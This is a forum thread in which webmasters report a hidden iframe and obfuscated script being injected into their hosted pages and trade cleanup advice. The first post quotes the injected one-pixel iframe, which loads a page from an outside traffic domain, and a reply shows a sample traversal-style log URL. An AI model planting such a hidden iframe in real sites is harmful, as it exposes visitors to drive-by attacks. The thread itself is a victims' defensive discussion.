Skip to content
View in the app

A better way to browse. Learn more.

Web Designer Forum

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Malicious script being automatically added to my pages on Netfirms FTP server

Featured Replies

Hello, all!

 

I host some small websites with Netfirms, and have recently been shocked to notice that Google reports my domains as belonging to an "attack website", urging users not to continue to them. Obviously this is a horrific situation, so I set out to quickly find out the cause.

 

It turns out some malicious code is being added to my index.html (or similar) files when I have uploaded them to my Netfirms FTP server. I will post a (modified) version of the added script below, but I wanted to know what I can do to stop this happening. Surely this is an issue for Netfirms to deal with since the files are being modified server-side? Is it likely they have a virus or something?

 

An example of the auto-appended code is below, but there's also a long piece of obfusticated JavaScript which I won't post in case it's malicious.

 

><iframe src='http://tojandglow.com/Advanced_Traffic/out.php?s_id=1' frameborder='0' height='1' width='1'></iframe>

 

Many thanks.

Same script was added to my home page (index.php) a few days ago.

 

My website is a small u.k. regional tourism site.

This has happened a few times with the malicious code varying.

Also have a .com domain which has also been hacked with a similar script,

this has occurred on one occasion.

 

Have now changed password and waiting to see what happens next.

 

Regards

 

Neil

Are you using Shared Hosting? If it's shared then the security is the responsibility of the said company. Usually anyway. Contact them to have the issue rectified. The chances are it's a remote file fetching (including files)/XSS mix.

 

Check your IP access logs, you'll usually see an entry like:

 

IP Address: XX.XXX.XXX.XX.XX
URL: http://www.awebsite.com/../includes/maliciousfile.htm?ID=1
Date/Time: 01.01.2000 at 00:00:00

I am experiencing a similar issue with my entire forum. They changed all the PHP scripts and html files. My forum is hosted on Site Ground.

 

Any advice is appreciated.

 

Thank you.

  • 3 weeks later...

Hey guys! Im experiencing the same problem! heres the confusing part.. 4 websites hosted on different servers/hosting companys!

 

Any idea whats going? I've changed FTP pass for now so hopefully that should sort it out..!?!?

 

thanks

Kieran

I've cleaned up three sites with similar issues over the last 7 days - 2 Wordpress sites and a shopping cart!

 

The only thing you can do is go though every file and remove the offending code. For the most part you should be able to tell the infected files by the file date.

 

If you have admin logins change the password to something difficult to guess using a mixture of lower/upper case alphas, and numbers, eg JHh4k8GFKJ

 

It's also worth changing your hosting account password and/or FTP passwords as well.

Create an account or sign in to comment

Account

Navigation

Search

Search

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.